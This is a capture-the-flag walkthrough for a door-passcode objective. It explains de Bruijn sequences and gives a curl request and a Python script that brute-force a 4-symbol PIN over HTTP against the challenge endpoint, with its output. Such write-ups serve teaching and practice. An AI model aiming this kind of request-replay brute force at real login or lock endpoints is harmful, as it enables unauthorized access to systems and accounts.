Objective 3: De Bruijn Sequences

Note: This objective is found on Floor 1 - East corridor
Difficulty: 1/5
When you break into the speaker unpreparedness room, what does Morcel Nougat say?

For hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.
Hints given:
https://hackaday.com/2018/06/18/opening-a-ford-with-a-robot-and-the-de-bruijn-sequence/
http://www.hakank.org/comb/debruijn.cgi

Tangle Coalbox:
Hey, thanks for the help with the investigation, gumshoe. Have you been able to solve the lock with the funny shapes? It reminds me of something called "de Bruijn Sequences.". You can optimize the guesses because there is no start and stop -- each new value is added to the end and the first is removed. I've even seen de Bruijn sequence generators online.
Here the length of the alphabet is 4 (only 4 buttons) and the length of the PIN is 4 as well. Mathematically this is k=4, n=4 to generate the de Bruijn sequence.


The objective can be accessed directly via this link:
https://doorpasscode.kringlecastle.com/?challenge=doorpasscode


Use Fiddler to intercept a request to the doorpasscode challenge. Using the request, craft a 'curl' request to replicate the browser request.

root@kali ~# curl 'https://doorpasscode.kringlecastle.com/checkpass.php?i=0123&resourceID=e870ec35-bced-4739-9cf4-ccba7434ab9d'
{"success":false,"message":"Incorrect guess."}⏎                                                                                                root@kali ~#

Create a Python script to create a De Bruijn sequence (k=4, n=4) and send each sequence to the doorpasscode challenge

#!/usr/bin/python2
from __future__ import print_function
import httplib

def GetNextLyndon(prev, ln, alph):
    nxt = [None] * ln
    for i in range(0, ln):
            nxt[i] = prev[i % len(prev)]
    while nxt[-1] == alph[-1]:
            nxt.pop()
    nxt[-1]= alph[ alph.find(nxt[-1]) + 1 ]
    return nxt

def PrepareInput(alph):
    if isinstance(alph, int):
            alph=''.join( [ str(i) for i in range(int(alph)) ] )
    return alph

def strDeBruijnSequence(k, seq_len):
    alph=PrepareInput(k)
    seq=alph[0]
    prev=seq
    while len(seq) < (len(alph)**seq_len):
            new = GetNextLyndon(prev, seq_len, alph)
            if seq_len % len(new) == 0:
                    seq = seq + ''.join(new)
            prev = new
    return seq

def shapify(strthis):
	strthis = strthis.replace("0","Triangle ")
	strthis = strthis.replace("1","Square ")
	strthis = strthis.replace("2","Circle ")
	strthis = strthis.replace("3","Star ")
	return strthis

oursequence = strDeBruijnSequence(4,4)
print("Our complete De Bruijn sequence:", oursequence)

c = httplib.HTTPSConnection("doorpasscode.kringlecastle.com")
for i in range(len(oursequence)-3):
	thissequence = oursequence[i:i+4]
	print("Trying: ", thissequence)
	c.request("GET", "/checkpass.php?i=" + thissequence + "&resourceId=e870ec35-bced-4739-9cf4-ccba7434ab9d")
	if ":true" in c.getresponse().read():
		print("Found the correct doorpasscode: ", shapify(thissequence))
		break
root@kali ~# python2 doorpasscode.py 
Our complete De Bruijn sequence: 0000100020003001100120013002100220023003100320033010102010301110112011301210122012301310132013302020302110212021302210222022302310232023303031103120313032103220323033103320333111121113112211231132113312121312221223123212331313221323133213332222322332323333
Trying:  0000
Trying:  0001
Trying:  0010
Trying:  0100
Trying:  1000
Trying:  0002
Trying:  0020
Trying:  0200
Trying:  2000
Trying:  0003
Trying:  0030
Trying:  0300
Trying:  3001
Trying:  0011
Trying:  0110
Trying:  1100
Trying:  1001
Trying:  0012
Trying:  0120
Found the correct doorpasscode:  Triangle Square Circle Triangle 
root@kali ~#

After entering the room, Morcel Nougat says:
Welcome unprepared speaker!